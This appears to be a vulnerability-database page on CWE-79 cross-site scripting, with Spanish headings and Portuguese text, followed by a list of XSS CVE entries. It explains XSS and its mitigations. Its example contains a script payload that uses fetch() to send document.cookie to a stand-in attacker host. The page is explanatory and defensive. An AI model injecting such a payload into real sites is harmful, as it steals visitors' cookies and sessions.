Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-22324HIGHWordPress OZ Canonical plugin <= 0.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22326HIGHWordPress 5centsCDN plugin <= 25.4.15 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46447MEDIUMWordPress Fable Extra plugin <= 1.0.6 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-51531MEDIUMA reflected cross-site scripting (XSS) vulnerability in Sage DPW 2024_12_004 and earlier allows attackers to execute arbitrary JavaScript inEPSS 0.3%CVE-2025-22567HIGHWordPress TRUSTist REVIEWer Plugin <= 2.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22506HIGHWordPress Smart Agenda Plugin <= 4.7 - CSRF to Stored XSS vulnerabilityEPSS 0.3%CVE-2025-23727HIGHWordPress AZ Content Finder plugin <= 0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22711HIGHWordPress Image Source Control Lite Plugin <= 2.29.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46476MEDIUMWordPress Awesome Wp Image Gallery plugin <= 1.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-23544HIGHWordPress StatPressCN plugin <= 1.9.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51923MEDIUMWordPress Websand Subscription Form plugin <= 1.0.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22588HIGHWordPress Scanventory Plugin <= 1.1.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-5083MEDIUMAmministrazione Trasparente <= 9.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via print_r FunctionEPSS 0.3%CVE-2026-79627HIGHAdvanced File Manager 5.4.13 - 5.4.14 - Authenticated Stored XSS via SVG Sanitiser Content-Sniff BypassEPSS 0.3%CVE-2026-8626MEDIUMSponsorMe <= 0.5.2 - Reflected Cross-Site Scripting via PHP_SELF ParameterEPSS 0.3%CVE-2025-60958HIGHCross Site Scripting (XSS) vulnerability in EndRun Technologies Sonoma D12 Network Time Server (GPS) F/W 6010-0071-000 Ver 4.00 allows attacEPSS 0.3%CVE-2025-20208MEDIUMA vulnerability in the web-based management interface of Cisco TelePresence Management Suite (TMS) could allow a low-privileged, remote attaEPSS 0.3%CVE-2026-92224MEDIUMJoomla! Core - [20260911] - Core - XSS in link toolbar layout in Joomla 4.0.0-5.4.8, 6.0.0-6.1.3EPSS 0.3%CVE-2024-51927MEDIUMWordPress Rig Elements For Elementor plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-13513MEDIUMClik stats <= 0.8 - Reflected Cross-Site Scripting via $_SERVER['PHP_SELF']EPSS 0.3%